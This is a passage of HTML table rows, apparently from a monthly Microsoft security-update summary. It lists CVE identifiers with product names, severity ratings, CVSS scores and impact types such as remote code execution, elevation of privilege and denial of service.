  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
